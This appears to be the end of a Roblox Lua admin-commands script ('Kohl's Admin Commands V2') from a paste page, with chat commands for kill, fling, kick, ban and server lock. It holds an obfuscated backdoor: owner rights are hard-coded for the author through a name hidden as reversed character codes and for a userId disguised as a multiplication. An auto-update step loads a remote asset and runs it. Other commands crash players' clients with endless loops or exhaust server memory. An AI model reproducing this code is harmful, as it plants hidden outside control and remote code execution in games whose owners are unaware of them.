  2148. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  2149. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  2150. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  2151. end
  2152. end))
  2153. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2154. end
  2155. end
  2156. end
  2157.  
  2158. if msg:lower():sub(1,11) == "unloopheal " then
  2159. local plrz = GetPlr(plr, msg:lower():sub(12))
  2160. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2161. end
  2162.  
  2163. if msg:lower():sub(1,10) == "loopfling " then
  2164. local plrz = GetPlr(plr, msg:lower():sub(11))
  2165. for i, v in pairs(plrz) do
  2166. if v then
  2167. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  2168. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2169. repeat
  2170. coroutine.resume(coroutine.create(function()
  2171. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  2172. local xran local zran
  2173. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2174. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2175. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  2176. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2177. end
  2178. end))
  2179. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2180. end
  2181. end
  2182. end
  2183.  
  2184. if msg:lower():sub(1,12) == "unloopfling " then
  2185. local plrz = GetPlr(plr, msg:lower():sub(13))
  2186. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2187. end
  2188.  
  2189. end
  2190.  
  2191. -------------------------
  2192. -- True Owner Commands --
  2193. -------------------------
  2194.  
  2195. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2196.  
  2197. if msg:lower():sub(1,3) == "oa " then
  2198. local plrz = GetPlr(plr, msg:lower():sub(4))
  2199. for i, v in pairs(plrz) do
  2200. coroutine.resume(coroutine.create(function()
  2201. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2202. end))
  2203. end
  2204. end
  2205.  
  2206. if msg:lower():sub(1,5) == "unoa " then
  2207. for i = 1, #owners do
  2208. coroutine.resume(coroutine.create(function()
  2209. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2210. end))
  2211. end
  2212. end
  2213.  
  2214. if msg:lower() == "settings" then
  2215. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  2216. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  2217. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  2218. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  2219. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  2220. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  2221. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  2222. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  2223. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  2224. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  2225. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  2226. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2227. end
  2228.  
  2229. end
  2230.  
  2231. --------------------
  2232. -- Owner Commands --
  2233. --------------------
  2234.  
  2235. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2236.  
  2237. if msg:lower():sub(1,3) == "pa " then
  2238. local plrz = GetPlr(plr, msg:lower():sub(4))
  2239. for i, v in pairs(plrz) do
  2240. coroutine.resume(coroutine.create(function()
  2241. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2242. end))
  2243. end
  2244. end
  2245.  
  2246. if msg:lower():sub(1,5) == "unpa " then
  2247. for i = 1, #admins do
  2248. coroutine.resume(coroutine.create(function()
  2249. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2250. end))
  2251. end
  2252. end
  2253.  
  2254. if msg:lower():sub(1,5) == "nuke " then
  2255. local plrz = GetPlr(plr, msg:lower():sub(6))
  2256. for i, v in pairs(plrz) do
  2257. coroutine.resume(coroutine.create(function()
  2258. if v and v.Character and v.Character:findFirstChild("Torso") then
  2259. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  2260. p.Anchored = true
  2261. p.CanCollide = false
  2262. p.formFactor = "Symmetric"
  2263. p.Shape = "Ball"
  2264. p.Size = Vector3.new(1,1,1)
  2265. p.BrickColor = BrickColor.new("New Yeller")
  2266. p.Transparency = .5
  2267. p.Reflectance = .2
  2268. p.TopSurface = 0
  2269. p.BottomSurface = 0
  2270. p.Touched:connect(function(hit)
  2271. if hit and hit.Parent then
  2272. local ex = Instance.new("Explosion", game.Workspace)
  2273. ex.Position = hit.Position
  2274. ex.BlastRadius = 11
  2275. ex.BlastPressure = math.huge
  2276. end
  2277. end)
  2278. local cf = v.Character.Torso.CFrame
  2279. p.CFrame = cf
  2280. for i = 1, 333 do
  2281. p.Size = p.Size + Vector3.new(3,3,3)
  2282. p.CFrame = cf
  2283. wait(1/44)
  2284. end
  2285. p:Destroy()
  2286. end
  2287. end))
  2288. end
  2289. end
  2290.  
  2291. end
  2292.  
  2293. --------------------------
  2294. -- Super Admin Commands --
  2295. --------------------------
  2296.  
  2297. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2298.  
  2299. if msg:lower() == "logs" then
  2300. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2301. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2302. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2303. end
  2304.  
  2305. if msg:lower():sub(1,9) == "loopkill " then
  2306. local chk1 = msg:lower():sub(10):find(" ")
  2307. local plrz = GetPlr(plr, msg:lower():sub(10))
  2308. local num = 9999
  2309. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2310. for i, v in pairs(plrz) do
  2311. if v and not ChkAdmin(v.Name, false) then
  2312. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2313. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2314. for i = 1, ]] .. tostring(num) .. [[ do
  2315. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2316. coroutine.resume(coroutine.create(function()
  2317. if plr and plr.Character then plr.Character:BreakJoints() end
  2318. end))
  2319. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2320. end
  2321. end
  2322. end
  2323.  
  2324. if msg:lower():sub(1,11) == "unloopkill " then
  2325. local plrz = GetPlr(plr, msg:lower():sub(12))
  2326. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2327. end
  2328.  
  2329. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2330. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2331.  
  2332. if msg:lower():sub(1,3) == "sm " then
  2333. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2334. end
  2335.  
  2336. if msg:lower():sub(1,3) == "ko " then
  2337. local chk1 = msg:lower():sub(4):find(" ") + 3
  2338. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2339. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2340. for n = 1, num do
  2341. for i, v in pairs(plrz) do
  2342. coroutine.resume(coroutine.create(function()
  2343. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  2344. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2345. v.Character:BreakJoints()
  2346. wait(1/44)
  2347. v:LoadCharacter()
  2348. wait(1/44)
  2349. end
  2350. end))
  2351. end
  2352. end
  2353. end
  2354.  
  2355. if msg:lower():sub(1,6) == "crash " then
  2356. local plrz = GetPlr(plr, msg:lower():sub(7))
  2357. for i, v in pairs(plrz) do
  2358. coroutine.resume(coroutine.create(function()
  2359. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2360. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2361. end
  2362. end))
  2363. end
  2364. end
  2365.  
  2366. if msg:lower():sub(1,5) == "kick " then
  2367. local plrz = GetPlr(plr, msg:lower():sub(6))
  2368. for i, v in pairs(plrz) do
  2369. coroutine.resume(coroutine.create(function()
  2370. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2371. end))
  2372. end
  2373. end
  2374.  
  2375. if msg:lower():sub(1,6) == "admin " then
  2376. local plrz = GetPlr(plr, msg:lower():sub(7))
  2377. for i, v in pairs(plrz) do
  2378. coroutine.resume(coroutine.create(function()
  2379. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2380. end))
  2381. end
  2382. end
  2383.  
  2384. if msg:lower():sub(1,8) == "unadmin " then
  2385. for i = 1, #tempadmins do
  2386. coroutine.resume(coroutine.create(function()
  2387. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2388. end))
  2389. end
  2390. end
  2391.  
  2392. if msg:lower():sub(1,4) == "ban " then
  2393. local plrz = GetPlr(plr, msg:lower():sub(5))
  2394. for i, v in pairs(plrz) do
  2395. coroutine.resume(coroutine.create(function()
  2396. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2397. end))
  2398. end
  2399. end
  2400.  
  2401. if msg:lower():sub(1,6) == "unban " then
  2402. for i = 1, #banland do
  2403. coroutine.resume(coroutine.create(function()
  2404. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2405. end))
  2406. end
  2407. end
  2408.  
  2409. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2410.  
  2411. end
  2412. end))
  2413. end
  2414.  
  2415. function AdminControl(plr)
  2416. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2417. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2418. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2419. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2420. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2421. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2422. end)) end
  2423. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2424. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2425. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2426. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  2427. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2428. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  2429. end
  2430.  
  2431. if not ntab then script:Destroy() end
  2432. if not bct then script:Destroy() end
  2433.  
  2434. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2435.  
  2436. script.Name = "Kohl's Admin Commands V2"
  2437.  
  2438. if not ntab then script:Destroy() end
  2439. if not bct then script:Destroy() end
  2440. if not tcb then script:Destroy() end
  2441. game.Players.PlayerAdded:connect(AdminControl)
  2442. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2443. end
  2444.  
  2445. local mod = game:service("InsertService"):LoadAsset(100808216)
  2446. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2447. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2448. newac.Disabled = true
  2449. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2450. local old = 0
  2451. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2452. if new > old then
  2453. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2454. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2455. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2456. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2457. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2458. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2459. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2460. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2461. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2462. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2463. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  2464. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  2465. wait()
  2466. newac.Parent = game.Workspace
  2467. newac.Disabled = false
  2468. script.Disabled = true
  2469. script:Destroy()
  2470. else
  2471. CHEESE()
  2472. end
  2473. else
  2474. CHEESE()
  2475. end
Advertisement
Add Comment
Please, Sign In to add comment